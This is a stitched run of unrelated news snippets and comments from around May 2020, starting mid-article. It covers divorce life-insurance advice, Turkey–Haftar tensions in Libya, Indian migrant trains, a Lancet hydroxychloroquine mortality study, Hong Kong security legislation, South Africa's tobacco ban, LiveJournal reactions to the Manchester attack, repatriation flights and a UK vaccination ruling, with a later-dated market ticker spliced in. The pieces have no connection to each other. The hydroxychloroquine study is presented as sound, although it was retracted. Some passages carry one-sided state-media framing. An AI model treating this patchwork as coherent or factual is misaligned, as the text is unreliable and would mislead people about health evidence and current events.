The obligation to maintain the life insurance benefit arises when a divorcing individual has a continuing support obligation  such as alimony or child support  and owing that support will continue after the divorce itself is finalized, White said.

He said the justification for requiring the life insurance stay in force is to assure that the dependent spouse and/or children receive the financial support they would have received had the paying spouse stayed alive.

White offered this example:

Lets say if at the conclusion of a divorce the payor spouse is required to pay his/her ex-spouse  the payee  alimony at the rate of $10,000 a year for a term of 10 years. The payor would probably simultaneously be required to maintain life insurance benefits in the sum of $100,000 for the benefit of the ex-spouse to assure that the payee received 100% of the alimony payments that would have been received over the next 10 years in the event the payor would have untimely died the day after the divorce was finalized.

In such circumstances there is often language included allowing the payor to reduce the total amount of life insurance benefits by a sum equal to one year of payments for each year that his/her alimony obligation has been satisfied  at the conclusion of the first year after the divorce was finalized if the alimony obligation had been satisfied in full that year, the payor can reduce the life insurance benefits he/she maintains for his/her ex-spouse by $10,000, White said.

White said as long as your friends spouse had a continuing support obligation due, he probably had a contractual or court-ordered obligation to maintain life insurance benefits for the exclusive benefit of his ex-wife and/or children.

That would likely impact if not eliminate your friends claim to share in the life insurance benefits at issue, he said. However, conclusive answers to questions such as these are often in the details, which is why your friend should meet with an experienced attorney to assure that no stone was left unturned.

Email your questions to Ask@NJMoneyHelp.com.

Karin Price Mueller writes the Bamboozled column for NJ Advance Media and is the founder of NJMoneyHelp.com. Follow NJMoneyHelp on Twitter @NJMoneyHelp. Find NJMoneyHelp on Facebook. Sign up for NJMoneyHelp.coms weekly e-newsletter.
Ankara Warns of 'Serious Consequences' After Haftar's Air Force Reveals Plan to Strike Turkish Units

Sputnik News

12:27 GMT 21.05.2020(updated 12:35 GMT 21.05.2020)

Turkey began sending troops to Libya in January to shore up the UN-backed Government of National Accord (GNA). Before that, Ankara provided the GNA with military equipment to assist Tripoli in its ongoing campaign against the Tobruk-based government and the Libyan National Army (LNA) of Gen. Khalifa Haftar.

Turkish Foreign Ministry spokesman Hami Aksoy has warned that there would be serious consequences for Gen. Haftar's forces if the Libyan National Army attacked Turkish troops operating in Libya.

"We emphasize once again that in the case of striking our interest in Libya  doing so would lead to serious consequences, and we will consider Haftar's forces a legitimate target for attack," Aksoy said, speaking to reporters on Thursday.

Aksoy's comments came in the wake of remarks by Libyan National Army Air Force commander Saqr al-Jaroushi earlier in the day warning that "the largest aerial campaign in Libyan history" would be launched "in the coming hours" targeting Turkish forces.

"All Turkish targets in occupied areas of Libya are legitimate targets for the LNA's fighter planes. We assure our people that we will defend them with all means available to us until we kill the enemy or perish on our own land," al-Jaroushi was quoted as saying, adding that civilians are urged to stay away from these sites.

"This is the last time we are warning those deceived persons who have joined the ranks of the [GNA] militias: surrender or be annihilated, and there won't even be anything left of their bodies to bury," the officer warned.

Commenting on the remarks, Aksoy suggested it was "noteworthy that this statement was made after new military aircraft were deployed in eastern Libya through external support."

Last week, Fathi Bashagha, minister of interior in the GNA government, alleged that at least eight jet fighters, including six MiG-29s and two Sukhoi Su-24s, were delivered to Libya from Syria. Damascus established diplomatic relations with the Tobruk-based government earlier this year, promising, among other things, to cooperate against a "common Turkish threat" to both countries. Syrian authorities have not commented on the fighter jet claims.

According to Aksoy, al-Jaroushi's comments were "another reflection of the heavy losses that Haftar's forces have suffered recently, and demonstrate their intention to increase tensions in Libya."

Also on Thursday, a senior Turkish official was quoted by Bloomberg as saying that Turkey had enough firepower concentrated in Libya to protect its bases using drones and warships off Tripoli.

The escalation of tensions between Tobruk and Ankara comes less than a day after a telephone conversation between Russian Foreign Minister Sergei Lavrov and his Turkish counterpart Mevlut Cavusoglu in which the diplomats reiterated the need for an immediate cessation of hostilities in the Libyan conflict and a resumption of peace talks under the auspices of the UN.

On Wednesday, a Russian Foreign Ministry source told Sputnik that Moscow supports any initiative aimed at stopping the fighting in Libya, and expects the parties to cease operations at least for the period of the Eid al-Fitr Muslim holiday, running from mid-to-late May.

Conflict in Libya

Libya, once one of the safest and most prosperous countries in Africa, has been mired in a deadly, nine year+ long conflict since the 2011 overthrow and murder of long-time leader Muammar Gaddafi by rebels backed by NATO airpower. After that, the North African nation was divided among warring militants, terrorist groups, criminal gangs and human smugglers. More recently, the Tobruk-based parliament, which enjoys the support of the Libyan National Army, and the Tripoli-based Government of National Accord consolidated themselves as the two main political and military powers in the war-torn country, and have each sought to establish control of all of Libya ever since. In April 2019, the LNA began an offensive on Tripoli, advancing into the city's suburbs. However, in January 2020, Turkey deployed a limited contingent of combat troops to stop the advance and push Haftar's forces out of the city. Multiple international efforts to resolve the conflict through peace talks have so far been fruitless. The latest such conference took place in Berlin in January, with Russia, the United States, the European Union, Turkey, Egypt and other nations attempting to press the GNA and the LNA to reach a lasting ceasefire, while agreeing in principle on the need to keep third parties out of the conflict.

A Sputnik

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In a surprise U-turn, Karnataka Chief Minister BS Yediyurappa on Friday announced that the government will bear all expenses of the migrant workers travelling back to their native-states by the 'Shramik Special' trains.

"Government considers migrant workers, who have come from far flung parts of our country, as our own people and it is my firm belief that they too must be supported by the state," he announced.

Just two weeks back, the Yediyurappa government had faced severe flak for having suspended trains for migrants who wanted to go back to their home-states. Karnataka has more than 3 lakh migrant workers who have registered on the 'seva-sindhu' portal, expressing a wish to return to their homes.

After the outrage by opposition parties and other workers' rights group, the government had resumed the trains meant to ferry the workers back to their states. However, as with most other states, workers had to shell out between 600 and 1,110 for a seat, depending on how far their journey was. Over a 100 trains have travelled from Karnataka in the last ten days.

The State's labour relief centres continue to see a continuous flow of workers from different parts of the state who seek help and support- both for their food, rations, water and daily needs like stay and toilets, but also for transport.

On Thursday, the Karnataka High Court while hearing a plea on the plight of migrant workers, pulled up the government on what it was doing to help the labourers.

A division bench headed by the Chief Justice has summoned the Chief Secretary and labour Secretary to personally appear via video conferencing on May 26 to give the government stand on what it would do to help those labourers who cannot go back to their native states due to lack of money.

Many labourers have lost their jobs and been thrown out of their homes as either the projects they were working on have been suspended or they could not pay rents. Jobless and homeless, with no incomes for two months, they have been mostly sheltered at relief centres that have been opened up at convention centres in different parts of the State.

"The government has considered the plea of migrant workers who were unable to bear the travel expenditure to go back to their home town. Therefore, the Karnataka government will bear the cost of travel of migrants workers and stranded persons to their respective states by 'Shramik' trains up to May 31," the CM tweeted.
A malaria drug touted as a possible coronavirus treatment is linked to increased rates of mortality and heart rhythm problems among hospital patients with Covid-19, according to new research.

Leading scientists have found that there is "no evidence of benefit" of using Hydroxychloroquine to treat those with coronavirus after studying nearly 100,000 patients worldwide.

It comes after Donald Trump hailed the drug as a potential "game-changer" in the fight against Covid-19.

He later announced he was taking it as a preventative measure despite public health officials warning that it may be unsafe.

The study, which was published in the journal Lancet, is not a rigorous test of hydroxychloroquine or chloroquine, but it is by far the largest look at their use in real-world settings, spanning 671 hospitals on six continents.

"Not only is there no benefit, but we saw a very consistent signal of harm," said one study leader, Dr Mandeep Mehra, a heart specialist at Brigham and Women's Hospital in Boston.

Researchers estimate that the death rate attributable to use of the drugs, with or without an antibiotic such as azithromycin, is roughly 13 per cent versus 9 per cent for patients not taking them.

The risk of developing a serious heart rhythm problem is more than five times greater.

Even though it is only observational, the size and scope of the study gives it a lot of impact, said Dr David Aronoff, infectious diseases chief at Vanderbilt University Medical Center.

"It really does give us some degree of confidence that we are unlikely to see major benefits from these drugs in the treatment of Covid-19 and possibly harm," said Dr Aronoff, who was not involved in the research.

The drugs are approved for treating lupus and rheumatoid arthritis and for preventing and treating malaria, but no large rigorous tests have found them safe or effective for preventing or treating Covid-19.

Donald Trump suggests injecting disinfectant as Covid-19 treatment

People sick enough to be hospitalised with the coronavirus are not the same as healthy people taking the drugs in other situations, so safety cannot be assumed from prior use, Dr Mehra said.

These drugs also have potentially serious side effects.

The Food and Drug Administration has warned against taking hydroxychloroquine with antibiotics and has said the malaria drug should only be used for coronavirus in formal studies.

Lacking results from stricter tests, "one needs to look at real-world evidence" to gauge safety or effectiveness, Dr Mehra said.

The World on Coronavirus lockdown 1 /60 The World on Coronavirus lockdown Getty Images A UK government public health campaign is displayed in Piccadilly Circus Reuters Chinese paramilitary police and security officers wear face masks to protect against the spread of the new coronavirus as they stand guard outside an entrance to the Forbidden City in Beijing AP A usually busy 42nd Street is seen nearly empty in New York AFP via Getty Images Bondi Beach, Australia Getty Images Military vehicles cross Westminster Bridge after members of the 101 Logistic Brigade delivered a consignment of medical masks to St Thomas' hospital Getty Images View of the illuminated statue of Christ the Redeemer that reads "Thank you" as Archbishop of the city of Rio de Janeiro Dom Orani Tempesta performs a mass in honor of Act of Consecration of Brazil and tribute to medical workers amidst the Coronavirus (COVID - 19) pandemic Getty Images Rome AFP via Getty Images An Indian man paddles his bicycle in front of a mural depicting the globe covered in a mask, as India remains under an unprecedented lockdown over the highly contagious coronavirus Getty Images Aerial view of the empty 9 de Julio avenue in Buenos Aires in Argentina AFP via Getty Images A view of an empty Grand Canal Reuters Las Ramblas, Barcelona, Spain Getty Images Aerial view of the empty Central cemetery in Bogota, Columbia AFP via Getty Images The facade of the Palacio de Lopez (seat of the government palace) AFP via Getty Images Miami, Florida AFP via Getty Images Aerial view of the empty Simon Bolivar park in Bogota AFP via Getty Images An LAPD patrol car drives through Venice Beach Boardwalk AP Venice Beach, California Getty Images Los Angeles, California Getty Images Surfers Paradise is seen empty in Australia Getty Images Many shops stand shuttered on the Venice Beach boardwalk Getty Images Empty escalators are seen at a deserted train station during morning rush hour after New South Wales began shutting down non-essential businesses Reuters A nearly empty Times Square in New York AFP via Getty Images Caracas AFP via Getty Images Metropolitan Cathedral of San Salvador AFP via Getty Images A general view of an unusually quiet Midland Park in Wellington, New Zealand Getty Images A general view of an unusually quiet Civic Square at lunchtimein Wellington, New Zealand Getty Images A policeman rides his motorcycle wearing a face mask in front of a closed shopping mall in Buenos Aires, Argentina AFP via Getty Images Florida Keys AP The historic Channel 2 Bridge closed to fishermen, bikers and pedestrians in Florida Keys AP The Beach on Scenic Gulf Drive near Seascape Resort in south Walton County, Florida sits empty of tourists AP Surfers Paradise is seen empty in Australia Getty Images A deserted Rajpath leading to India Gate in New Delhi AFP via Getty Images A general view is seen of a closed Luna Park in Sydney, Australia Getty Images A general view is seen of a closed Luna Park in Sydney, Australia Getty Images Empty roads are pictured following the lockdown by the government amid concerns about the spread of coronavirus disease (COVID-19) outbreak, in Kathmandu, Nepal Reuters An empty New York Subway car i AFP via Getty Images The empty pedestrian zone is seen in the city of Cologne, western Germany, AFP via Getty Images Place de la Comedie in the city of Montpellier , southern France AFP via Getty Images An empty street in Kuwait city AFP via Getty Images A building is covered by the Portuguese message: "Coronavirus: take precaution" over empty streets in downtown Sao Paulo, Brazil, AP A general view shows an empty street after a curfew was imposed to prevent the spread of the coronavirus disease (COVID-19), in Riyadh, Saudi Arabia Reuters Parliament of Canada is pictured with empty street during morning rush hour AFP via Getty Images A near empty beach on Southend seafront in England PA Near empty Keswick town centre in Cumbria, England PA

The results on these patients, from a long-established global research database, are "as real world as a database can get," he said.

His study looked at nearly 15,000 people with Covid-19 getting one of the malaria drugs with or without one of the suggested antibiotics and more than 81,000 patients getting none of those medications.

In all, 1,868 took chloroquine alone, 3,783 took that plus an antibiotic, 3,016 took hydroxychloroquine alone and 6,221 took that plus an antibiotic.

About 9 per cent per cent of patients taking none of the drugs died in the hospital, versus 16 per cent on chloroquine, 18 per cent on hydroxychloroquine, 22 per cent on chloroquine plus an antibiotic, and 24 per cent on hydroxychloroquine plus an antibiotic.

After taking into account age, smoking, various health conditions and other factors that affect survival, researchers estimate that use of the drugs may have contributed to 34 per cent to 45 per cent of the excess risk of death they observed.

About 8 per cent of those taking hydroxychloroquine and an antibiotic developed a heart rhythm problem compared to 0.3 per cent of the patients not taking any of the drugs in the study. More of these problems were seen with the other drugs, too.

The results suggest these drugs are "not useful and may be harmful" in people hospitalised with Covid-19, professor Christian Funck-Brentano, of the Sorbonne University in Paris, wrote in a commentary published by the journal. He had no role in the study.

Experiments underway now to test these drugs in a strict manner "need to be completed and should not be stopped prematurely," Dr Aronoff said.

Even though the Lancet study was large, observational look-backs like this "cannot control for every possible factor that may be responsible for observed results," he said.
China will introduce legislation for its Hong Kong Special Administrative Region (HKSAR) to safeguard national security.



According to an agenda unveiled Thursday, a bill on reviewing a draft decision on establishing and improving the legal system and enforcement mechanisms for the HKSAR to safeguard national security will be submitted for deliberation to the third session of the 13th National People's Congress (NPC), which will open on Friday.

The introduction of the bill came after Hong Kong was embroiled in prolonged riots last year as the city's opposition schemed with external forces in attempts to create a "color revolution."

The unrest has laid bare the evident legal loopholes and lack of enforcement mechanisms in Hong Kong concerning national security.

Zhang Yesui, spokesperson for the NPC session, told a press conference on the eve of the session that the legislative move is "highly necessary."

Explaining the consideration for the draft decision, Zhang said safeguarding national security serves the fundamental interests of all Chinese including Hong Kong compatriots.

"The HKSAR is an inseparable part of the People's Republic of China, and the NPC is the highest organ of state power," Zhang said.

In light of the new circumstances and need, the NPC is exercising the power enshrined in the Constitution to establish and improve at the state level the legal system and enforcement mechanisms for the HKSAR to safeguard national security, and to uphold and improve the institutional framework of "one country, two systems," he said.

NPC deputies and national political advisors from the HKSAR voiced firm support for the legislative move.

Stanley Ng, president of the Hong Kong Federation of Trade Unions, said Hong Kong has "very apparent" loopholes and legal vacuum in national security.

"There is a pressing need to plug the loopholes," Ng said, adding that the draft decision shows the state has a firm resolve to safeguard national security.

Maggie Chan, a lawyer and the founding president of a law firms association in Hong Kong, said it is imperative to set up, enforce and improve the legal system and enforcement mechanisms for Hong Kong to safeguard national security so that it can better play its advantage to fully integrate into the country's development.

If such system and mechanisms can be set up, it will be of great significance to safeguarding the long-term prosperity and stability of Hong Kong and pushing "one country, two systems" to go steady and far, said national political advisors from the HKSAR.
Free Market Foundation (FMF) CEO Leon Louw believes that the cigarette ban in South Africa may last until 2021.

Smokers should be prepared to pay R20 for a single cigarette or R200 a box for many months to come, said Louw.

The pandemic will be with us in some form until next year, so dont expect tobacco sales to be unbanned before 2021.

Louw told MyBroadband that cooperative governance minister Nkosazana Dlamini-Zuma told the National Coronavirus Command Council (NCCC) that the sale of tobacco and alcohol should remain banned until South Africa reaches level 1 of lockdown.

Dlamini-Zumas argument contests a reported agreement that the ban on cigarette sales would be lifted under level 3.

According to Louw, the rushed and ill-conceived ban on cigarette sales has caused a variety of unintended consequences.

As at the end of April, Treasury has lost in excess R300 million in excise duty from tobacco products, and the illicit trade has been handed the market on a plate and is charging extortionate prices, said Louw.

Louw cited information from a UCT research unit which found that the vast majority of South African smokers have continued to purchase cigarettes under lockdown.

They have switched from purchasing cigarettes from legal vendors to the illegal market, and are sometimes travelling long distances to do this, the research states.

People have not stopped smoking. Government has turned 11 million smokers into criminals overnight, said Louw.

He argued that the government has yet to provide any evidence that smoking has any impact on COVID-19.

Where is the evidence that tobacco products increase the spread of COVID-19, or why tobacco products are singled out when other goods are shared such as food, drinks or communal toilets? Louw asked.

Why arent they banning sugar since studies of Chinese COVID-19 patients shows that the death rate was three times higher in patients with diabetes?

Louw added that the World Health Organisation (WHO) has not released any evidence or data on the relationship between smoking and COVID-19, and has not taken a position on whether tobacco sales should be banned.

He said South Africa is one of only three countries in the world to have banned cigarettes during the COVID-19 pandemic  along with Botswana and India.

Even if certain studies attempt to make a connection between smoking and COVID-19, why havent other countries followed their advice and banned tobacco? asked Louw.

Goodwill is disappearing

Louw said that government has also ignored the mental health element of withdrawal.

Nicotine withdrawal has been forced upon millions of smokers, with no regard for their mental health, he argued.

Government is accountable to the people  the day of reckoning will arrive. Public goodwill and support generated in the first three weeks of lockdown are disappearing fast.

They better have a very good explanation, Louw added.
Criminal case opened over COVID-19 outbreak in regional board school

 pixabay.com

12:23 22/05/2020

MOSCOW, May 22 (RAPSI)  A criminal case was opened against a married couple employed by a boarding school in the Tver Region of Russia, who concealed the fact that their daughter was infected by the coronavirus; as a result, 14 children and 5 school employees were infected, the press service of Russias Investigative Committee informs on Friday.

The fact was revealed in the course of an inspection carried out by the Prosecutors Office.

The couple are suspected of committing a crime related to the violation of sanitary and epidemiological regulations resulting in massive infection of people.
VANCOUVER, BC / ACCESSWIRE / May 22, 2020 / PPX Mining Corp. (TSXV:PPX) (the "Company" or "PPX") discloses that the filing of the Company's annual financial statements for the fiscal year ended September 30, 2019, the related management's discussion and analysis, and the certification of the annual filings for the year ended September 30, 2019 (collectively, the "2019 Annual Financial Statements"), were not completed by the deadline of April 28, 2020 as was required under the management cease trade order granted to the Company by the British Columbia Securities Commission. As a result, the British Columbia Securities Commission issued a cease trade order (the "Cease Trade Order") on May 20, 2020 against the Company and securities have been suspended from trading on the TSX Venture Exchange.

The Company continues to work closely with its auditor and expects to file the 2019 Annual Financial Statements as soon as possible. The completion of the 2019 Annual Financial Statements were delayed by the quarantine measures instituted as a result of the COVID-19 pandemic. Once the 2019 Annual Financial Statements are finalized, the Company will seek to have the Cease Trade Order revoked. The Company will be forthcoming with an update on the 2019 Annual Financial Statements once the required filings have been made. The Company also confirms, as of the date of this news release, that there is no other material information concerning the affairs of the Company that has not been generally disclosed.

On behalf of the Board of Directors

Brian J. Maher

President and Chief Executive Officer

FOR FURTHER INFORMATION, PLEASE CONTACT:

PPX Mining Corp.

Brian J. Maher, President and Chief Executive Officer

Phone: 1-530-913-4728

Email: brian.maher@ppxmining.com

Website: www.ppxmining.com

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

Cautionary Statement:

Certain disclosure in this release may constitute "forward-looking statements" within the meaning of Canadian securities legislation. In making the forward-looking statements in this release, the Company has applied certain factors and assumptions that the Company believes are reasonable. In particular, this release contains forward-looking information relating to the anticipated filing dates of the Company's financial statements. However, the forward-looking statements in this release are subject to numerous risks, uncertainties and other factors that may cause future results to differ materially from those expressed or implied in such forward-looking statements. Such uncertainties and risks are described from time to time in the Company's filings with the appropriate securities commissions, and may include, among others, market conditions and delays or failure by the Company in filing its financial statements or default status reports. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Readers are cautioned not to place undue reliance on forward-looking statements. The Company does not intend, and expressly disclaims any intention or obligation to, update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by law.

SOURCE: PPX Mining Corp.

View source version on accesswire.com:https://www.accesswire.com/591091/PPX-Receives-Cease-Trade-Order
ok but LANA STILL HAD IT WORSE!!!!1



in all seriousness i couldn't even imagine going through something like this :( such a tragic loss of 22 lives

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this would scar me for life ngl

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I was working at a bar near the venue for this tour. (in my town). The people going were so sweet, young, friends, families, etc. It really breaks my heart to think of the lives lost. :(

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Learn more about LiveJournal Ratings in Hello! Your entry got to top-25 of the most popular entries in LiveJournal!Learn more about LiveJournal Ratings in FAQ

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i dont like her or her music. but wow what a ride to have that happen at YOUR concert!. i think shes held it together well. well it seems like anyways.

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I think of Martyn Hett every time I see the bench dedicated to him on Corrie.



I go to his youtube channel to watch this iconic video all the time.





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Edited at 2020-05-22 10:31 pm (UTC) I loved Martyn's twitter for all his Coronation Street jokes, still can't believe he got that Deirdre tattoo

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what a legend

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Wendy Williams did a nice tribute to him after she found out that he was supposed to be in her audience.

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such a tragic event. shes so strong to be able to play shows so quickly after it happened. i dont think i would ever be able to return to show business again if something that traumatic happened. i hope shes still getting help to cope with it <3

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I cannot imagine life after surviving a shooting.

Its weird. Ive always thought Id live through one, but Ive never thought about anything past that. AND I just thought of literally how many children and people are actually living that life. Fuck.

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I'll always have respect and sympathy for ariana because of this.

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same

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i somehow forgot it was 22 deaths, that's so tragic.

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I'm glad she's still able to perform and is able to reflect on the day. She and others must have so much PTSD and survivors' guilt.

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I would never tour again TBQH

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She handled the reaction and concert very well <3

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the manchester attack is one of those events where i remember exactly where i was when i found out about it. all of those poor children and their guardians just out to have a good time

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Same, i was on mat leave and my husband was reading the news on his phone the morning after it happened. I was sat in bed with the baby and my husband was like "maybe don't spend much time reading the news today, okay?" So clearly i grabbed my phone and that was what it was.

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If I were her, I would be totally scared of going to tour again :( such a tragic event

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Terrorist attacks where people die are horrible and tragic full stop. Senseless murder, especially in a crowd full of kids at a concert is tragic. Pretty much everything else about Ariana is glaringly problematic.



No one really cares about the trauma that black and brown girls face just existing as themselves barely being allowed to be seen as children. No one really cares what a mindfuck it is to see a white girls and women everywhere gain success from parroting things you can't change yourself. No one really cares about the hugely disproportionate amount of trauma or violence that woc will likely experience in their lifetimes.



I feel for all of the people who lost their lives. It was sad and senseless violence. Pop concert terrorism is so bad it feels like another harbinger of end times. But I definitely can't bring myself to wring my hands over an extremely toxic public figure having this awful experience that she will white woman lean on to deflect any and all controversy for probably the rest of her career.



Like I'm really curious if, in the Before Times, there had been some kind of terrorist attack at like a Kardashian wedding, what would the reaction be? Was GW Bush a good president because he "handled" 9/11 "graciously" as he before using it as a pretense for furthering the military industrial complex for oil money wars? Would they deserve my respect for surviving the way that me and people who look like me have our whole lives? Without money and resources and praise for being sooo brave?



RIP to everyone lost that day. I don't mean to be insensitive to that. But it blows my mind the way that people handwave to this day anything else she has done. Like do you know people in your life who have experienced extreme trauma and do you extend them that level of sympathy? Do you have any empathy for young woc growing up in a world where some of the biggest names in entertainment are white people cherry picking from not just their culture, but like ethnic features? No? Ok, go stream your little rain song.

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Having sympathy for her over this doesn't necessarily mean you're 'handwaving' away everything else ... You can have multiple varieties of thoughts and feelings about people; it isn't a binary 'like/dislike' choice.

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Three years already, only three years ago.

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As designated essential workers, house cleaners have not been technically restricted from working through the coronavirus shutdown, but their work has caused fear and hard decisions for both domestic workers and their clients.

The majority of Californian domestic cleaners are female immigrants, and some are undocumented, meaning they cannot collect unemployment or benefit from the government bailout. These workers have seen their livelihoods disappear over the past few months, while the idea of returning to work is equally worrying.

According to a 2017 survey around 65% of domestic workers do not have health insurance, and 60% spend more than half their income on rent or mortgage payments. For the 2.5 million domestic workers in the US, staying home during the crisis is a luxury they can't afford.

Continuing to scrub bathtubs and change the sheets in the homes of residents who may be carrying the virus is a frightening prospect, yet the work provides an invaluable income for largely low-income workers.

For Bay Area residents asking whether it's a good idea to re-employ cleaners as the state moves further into its reopening plan, the answers are unfortunately still muddy, with conflicting advice being given.

The National Domestic Workers Alliance has recommended that house cleaners stop entering private homes for the duration of the crisis to protect themselves and clients, while some doctors have stated that domestic cleaners are more prepared than anyone to deal with infectious diseases.

Further ethical questions have also arisen, such as should those with the means continue to pay cleaners while they're not working?

Most clients stopped domestic services at the start of the shutdown as they readied themselves for isolation, but the recent move into Stage 2 of Gov. Newsom's statewide reopening plan has seen a return to work in an uncertain environment for cleaners, where fears of infection still fill their days.

We spoke with Gladys Tapia, owner of House Cleaning by Gladys, who has been cleaning homes in the East Bay with her team for over 10 years. Gladys recently decided to get back to work, and started cleaning clients' homes again after pausing through the first two months of the shutdown.

SFGATE: How has it been going back to work?

GLADYS TAPIA: It's been very difficult. Some clients don't feel comfortable with us; some don't want to let us in. We have to take care of our families, and also take care of the clients. It's complicated, but we're trying to do the best we can.

SFGATE: How has work changed?

TAPIA: We can't bring too many people to a house like usual; we only bring in two people so we can keep a distance. It takes a lot longer with only two people. Also I can't drive to clients' houses with many people in my car; everyone needs to drive separately. I can only do two clients a day as it takes so long.

SFGATE: Are clients happy to have you back?

TAPIA: Some clients check that we are wearing masks and gloves as we work; some make us take off our shoes, but most are reasonable. They know I'm doing the best I can to take care of them and take care of myself.

SFGATE: Are your staff concerned about getting infected?

TAPIA: Yes. Some of my ladies are very worried about it. They don't know if a client will tell us if they are infected, because you can't see this thing. You maybe can't even feel it, so we don't know. We're doing our best. We're going to have a lot of troubles, but we're trying.

ALSO: SF gyms may reopen in the next few weeks, here's how they'll look different

SFGATE: How is your family?

TAPIA: My son was the only person working in our house at the start of the shutdown; he's an engineer at Tesla and hasn't stopped working the whole time. It's good, he's getting paid. My daughter is studying at UC Santa Cruz, taking lessons online, but I'm so upset she graduates in two weeks and there's no real graduation.

SFGATE: Are there any restrictions on you working?

TAPIA: Our work is considered essential. I check the city websites every day, they say we can come into the houses so long as the client keeps a distance. We have to work together, that's the only thing we can do. I'm planning to keep going, but I don't know, it's hard. It's difficult.

Andrew Chamings is a digital editor at SFGATE. Email: Andrew.Chamings@sfgate.com | Twitter: @AndrewChamings
Actor Ananya Panday, daughter of Chunky Panday, has wished her best friend Suhana Khan on her 20th birthday. The Student of the Year 2 actor took to Instagram to wish Shah Rukh Khans daughter with a sweet message and a throwback picture.

Ananya shared a lovely picture from one of their outings to Shah Rukhs Alibaug bungalow and wrote, The two things I miss the most - the great outdoors and SUHANA!!! happy 20th bday Sue ...but u will be my little baby forever. While Suhana is on the left in a vest and a skirt, Ananya is in a green shirt.

Suhana was quick to acknowledge her friends birthday wish and went on to engage in a banter in the comments section. She wrote in response, Hahaha you found one not bad, and added, I love youu thank you xxx and Misss uu.

Several of their industry friends also wished Suhana in the comments section. Sussanne Khan wrote, Two beautiful dolls inside and out. Ananyas mother Bhavna Panday showered the post with a few heart emojis.

Suhana had recently posed for an at-home photoshoot at her residence Mannat. Her mother Gauri Khan clicked her photos and shared them on Instagram with a mention, No hair !!!!! No make up !!!! Just my photography!!!!

Suhana is currently staying with her family in Mumbai and has been utilising her time to learn belle dancing through online classes during her time at home. Belle dancer Sanjana Muthreja had recently shared a picture that displayed how their sessions are progressing now.

Also read: Happy birthday Suhana Khan: Check out her 10 best pics with Shah Rukh Khan, Gauri, Aryan and AbRam

Suhana had returned from New York where she is studying ahead of the lockdown. Talking about her friends wish to join Bollywood, Ananya had told Pinkvilla last year, I think she wants to finish her education and make the most of that and then whenever she wants to she will come back and act. She is really, really talented and I cant just wait.

Follow @htshowbiz for more

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Two Air India repatriation flights carrying 211 Indian nationals stranded in Canada and Malaysia landed at the Sri Guru Ram Das Jee International Airport here on Friday.

The flight from Kuala Lumpur, Malaysia, was scheduled to arrive at 11.45pm on Thursday but was delayed and landed at 2am on Friday. A total of 95 Indians availed the flight, said Palwinder Kaur, assistant commissioner of police (airport).

The flight from Vancouver brought 116 people and arrived at 7am on Friday. All evacuated persons, who mostly belong to different parts of Punjab, have been sent to their home districts where they will be quarantined either in government centres or hotels as per their choice, Kaur said.

Officials said the evacuated persons had gone to these countries on visitor visas. Some of them were tourists while others had gone to meet their relatives and friends.

Another evacuation flight from Melbourne is scheduled to arrive today. A flight from Toronto is scheduled for May 23, one from Sydney on May 23, Birmingham on May 26, and Singapore on May 27.

These flights are being operated under the Vande Bharat Mission launched by the government of India to evacuate Indian nationals stuck in different countries due to the lockdown imposed to contain Covid-19.

AMRITSAR AIRPORT PREPARES TO RESUME DOMESTIC FLIGHTS

The Amritsar airport authorities are making arrangements to ensure social distancing with domestic flights resuming from May 25.

Domestic operations are resuming on May 25 but Amritsar airport is presently engaged in repatriation flights. Once we receive the schedule, we will resume domestic operations, said airport director Manoj Chansoria.

Due to the COVID-19 pandemic, travelling has changed. We have received guidelines from the ministry that need to be followed while arranging flight operations.

The most important thing is to maintain social distancing. We are making yellow and black stripe marks right from the arrival to boarding gates. The passenger must have the Aarogya Setu app. We are ensuring touch-free arrangements at the airport, he added.

(With ANI inputs)
Sri Lanka settles sovereign bond payment as reserves dwindle AP - 36 minutes ago COLOMBO, Sri Lanka (AP)  Sri Lanka has paid $500 million due on sovereign bonds from its badly depleted foreign reserves despite calls by experts to defer the payment and use the sum to import essential... $SPX : 4,532.76 (-0.97%) $DOWI : 35,028.65 (-0.96%) $IUXX : 15,047.84 (-1.07%)

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EXPLAINER: How sweeping EU rules would curb tech companies AP - 1 hour ago LONDON (AP)  Online companies would have to ramp up efforts to and take other steps to protect users under rules that European Union lawmakers are set to vote on Thursday. $SPX : 4,532.76 (-0.97%) $DOWI : 35,028.65 (-0.96%) $IUXX : 15,047.84 (-1.07%)

Press Conference Overshadows Markets Market Tea Leaves - 1 hour ago Yesterday the markets dropped on geopolitical grounds. Will the markets rebound today?
Over the last week, we have now regained about 60-65% of prior year comparable U.S. store sales while reopening under modified operations and with reduced hours, Johnson said in a statement. In China, we have seen progress as well and our comparable store sales have reached about 80% of prior year levels, reflecting gradual improvements over the past several weeks.
Children in care can be immunised against their parents wishes without court intervention, senior judges have ruled.

In a Court of Appeal decision published on Friday, three judges concluded that scientific evidence clearly establishes vaccination is in a childs best interests.

Lady Justice King, sitting with Lords Justice McCombe and Peter Jackson, said that children in local authority care must be vaccinated unless there is a specific reason against doing so.

While parents views must be taken into account, councils should not make decisions regarding vaccinations based on the strength of those views  unless they have a real bearing on the childs welfare, said Lady Justice King.

She added: The administration of standard or routine vaccinations cannot be regarded as being a serious or grave matter.

Recommended AstraZeneca says it can deliver potential vaccine this year

Except where there are significant features which suggest that, unusually, it may not be in the best interests of a child to be vaccinated, it is neither necessary nor appropriate for a local authority to refer the matter to the High Court in every case where a parent opposes the proposed vaccination of their child.

To do so involves the expenditure of scarce time and resources by the local authority, the unnecessary instruction of expert medical evidence and the use of High Court time which could be better spent dealing with one of the urgent and serious matters which are always awaiting determination in the Family Division.

The ruling, in the case of a couple who refused to agree to their son being vaccinated, comes at a time when researchers around the world are working on a vaccine for the coronavirus.

On Thursday, British-Swedish drug-manufacturing giant AstraZeneca, said it had secured orders for at least 400 million doses of a potential Covid-19 vaccine created by Oxford University.

The pharmaceutical company said it will begin rolling out the vaccine by September although it is as yet unproven.

Health secretary Matt Hancock has previously said that there is no guarantee that a vaccine will ever be found.

Recommended This is the truth about a future coronavirus vaccine

The couple, whose son  referred to only as T  was placed in foster care, had refused to agree to the child receiving his routine childhood immunisations.

Tower Hamlets Council went to the High Court arguing that, under the Children Act 1989, it had the power to arrange for the vaccinations to be carried out and, if this was not the case, then the court should grant an order authorising the injections as they were in the childs best interests.

In February, a High Court judge accepted the councils argument and said it did have the authority to arrange for the immunisations to take place.

